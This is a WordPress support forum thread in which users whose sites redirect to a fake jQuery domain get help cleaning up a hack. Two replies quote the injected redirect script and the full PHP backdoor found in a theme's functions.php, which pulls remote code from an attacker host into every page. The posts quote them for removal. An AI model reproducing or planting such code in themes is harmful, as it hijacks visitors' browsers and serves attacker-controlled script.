WordPress.org

Forums

URL suddenly redirecting to JQuery Website (9 posts)

  1. MrParsons
    Member
    Posted 2 years ago #

    Sometime in the last few days, the URL of my site has decided to redirect to a JQuery site! I haven't made any changes and have tried a server restore...

    My site is http://alexparsonsmusic.com

    Any help would be much appreciated!!

  2. curtismchale
    Member
    Posted 2 years ago #

    I'd say you got hacked. When I quickly stop the page and view source I see this code.

    <script type="text/javascript">
    
    		window.top.location.href = "http://www.jqueryc.com";
    
    	</script>

    That is doing the redirect and while the site may have jQuery in the URL that's not a site from the people that write the jQuery library.

    The easiest way for you to clean it up is to pay for Sucuri. For 89.99 they'll monitor the site for a year and clean up the hack.

    http://sucuri.net/

    I know if you were paying me to do it, you'd just barely get an hour of my time at that price.

  3. MrParsons
    Member
    Posted 2 years ago #

    I spotted that as well... Can I not just delete the code myself?

  4. Andrew
    Nuh uh moderator
    Posted 2 years ago #

    MrParsons, you can resolve this yourself by following Codex's guidelines.
    Codex was built by forum volunteers for these situations.

    Further references from Jan Dembowski on thread http://wordpress.org/support/topic/hacked-wordpress-1?replies=5

  5. MrParsons
    Member
    Posted 2 years ago #

    Thanks Andrew... I'll check through the guidelines.

    I'm generally ok to work things through myself... However long they might take (usually they take me a long time)!

  6. curtismchale
    Member
    Posted 2 years ago #

    I'm sure you could delete it yourself, but the problem may be bigger. There may be issues in multiple files. I've always found that Sucuri is worth my time and my clients time since they will clean up and scan all the time.

  7. elxjitendra1
    Member
    Posted 2 years ago #

    Hey please help
    my blog
    http://www.blogginglab.net/
    is redirecting to jquerry.com. I have used broadway theme. Please help me if anyone got the same theme and same problem.
    Thanks in advance

  8. MrParsons
    Member
    Posted 2 years ago #

    It doesn't seem to be redirecting at the moment. Have you changed theme?

  9. Okendoken
    Member
    Posted 2 years ago #

    The solution is to remove following line from function.php

    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

    I described it in details at my blog - WordPress jqueryc.com problem

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags

No tags yet.